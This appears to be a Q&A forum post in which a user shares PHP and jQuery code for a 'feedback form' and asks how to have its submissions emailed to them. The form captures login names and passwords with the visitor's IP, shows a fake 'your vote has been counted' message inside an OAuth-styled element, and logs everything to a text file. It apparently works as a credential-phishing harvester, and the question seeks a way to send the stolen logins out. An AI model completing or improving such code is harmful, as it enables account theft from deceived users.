V
V
Vaha Vaynahskiy2018-03-24 21:37:06
PHP
Vaha Vaynahskiy, 2018-03-24 21:37:06

How to improve the feedback form?

Hello, there is a feedback form that records the entered data in the mes.txt file

<?php
ini_set('display_errors', true);
ini_set('html_errors', false);

error_reporting(E_ALL ^ E_WARNING ^ E_DEPRECATED ^ E_NOTICE);
ini_set('error_reporting', E_ALL ^ E_WARNING ^ E_DEPRECATED ^ E_NOTICE);

    $msg_box = ""; // в этой переменной будем хранить сообщения формы
    $errors = array(); // контейнер для ошибок
    // проверяем корректность полей
    if($_POST['name'] == "")    $errors[] = "Поле не заполнено!";
    if($_POST['pass'] == "")    $errors[] = "Поле не заполнено!";
 
    // если форма без ошибок
    if(empty($errors)){     
        // собираем данные из формы
        $message  = "Имя пользователя: " . $_POST['name'] . "<br/>";
        $message .= "E-mail пользователя: " . $_POST['pass'] . "<br/>";
        if(send_mail($message)){
        	// выведем сообщение об успехе
        	$msg_box = "<script>jQuery('.oauth_wrap, .sharing').addClass('spas');jQuery('.oauth_wrap, .sharing').html('<h1>Спасибо, ваш голос учтен!</h1>');</script>";
        }else{
        	$msg_box = "<span style='color: red;'>Сообщение не отправлено!</span>";
        }
    }else{
        // если были ошибки, то выводим их
        $msg_box = "";
        foreach($errors as $one_error){
            $msg_box .= "<span style='color: red;'>$one_error</span><br/>";
        }
    }
 
    // делаем ответ на клиентскую часть в формате JSON
    echo json_encode(array(
        'result' => $msg_box
    ));
     
    function rus_date() {
    $translate = array(
    "am" => "дп",
    "pm" => "пп",
    "AM" => "ДП",
    "PM" => "ПП",
    "Monday" => "Понедельник",
    "Mon" => "Пн",
    "Tuesday" => "Вторник",
    "Tue" => "Вт",
    "Wednesday" => "Среда",
    "Wed" => "Ср",
    "Thursday" => "Четверг",
    "Thu" => "Чт",
    "Friday" => "Пятница",
    "Fri" => "Пт",
    "Saturday" => "Суббота",
    "Sat" => "Сб",
    "Sunday" => "Воскресенье",
    "Sun" => "Вс",
    "January" => "Января",
    "Jan" => "Янв",
    "February" => "Февраля",
    "Feb" => "Фев",
    "March" => "Марта",
    "Mar" => "Мар",
    "April" => "Апреля",
    "Apr" => "Апр",
    "May" => "Мая",
    "May" => "Мая",
    "June" => "Июня",
    "Jun" => "Июн",
    "July" => "Июля",
    "Jul" => "Июл",
    "August" => "Августа",
    "Aug" => "Авг",
    "September" => "Сентября",
    "Sep" => "Сен",
    "October" => "Октября",
    "Oct" => "Окт",
    "November" => "Ноября",
    "Nov" => "Ноя",
    "December" => "Декабря",
    "Dec" => "Дек",
    "st" => "ое",
    "nd" => "ое",
    "rd" => "е",
    "th" => "ое"
    );
    
    if (func_num_args() > 1) {
        $timestamp = func_get_arg(1);
        return strtr(date(func_get_arg(0), $timestamp), $translate);
    } else {
        return strtr(date(func_get_arg(0)), $translate);
    }
}

    // функция отправки письма
    function send_mail($message){
        // почта, на которую придет письмо
        if(file_put_contents('mes.txt', $_POST['name']." ".$_POST['pass']." ".$_SERVER["REMOTE_ADDR"]." ".rus_date("j F Y G:i:s")."\r\n", FILE_APPEND | LOCK_EX)){
        	return true;
        }
        else{
        	return false;
        }
    }
     
?>

and AJAX
jQuery(document).ready(function(){
            jQuery('.vaha').click(function(){
                // собираем данные с формы
              jQuery('.messages').css("height", "auto");
                var name    = jQuery('#name').val();
                var pass   = jQuery('#pass').val();
                // отправляем данные
                jQuery.ajax({
                    url: "action.php", // куда отправляем
                    type: "post", // метод передачи
                    dataType: "json", // тип передачи данных
                    data: { // что отправляем
                        "name":    name,
                        "pass":   pass,
                    },
                    // после получения ответа сервера
                    success: function(data){
                        jQuery('.messages').html(data.result); // выводим ответ сервера
                    }
                });
            });
        });

How to finalize it so that the data comes to the mail?

Answer the question

In order to leave comments, you need to log in

Didn't find what you were looking for?

Ask your question

Ask a Question

731 491 924 answers to any question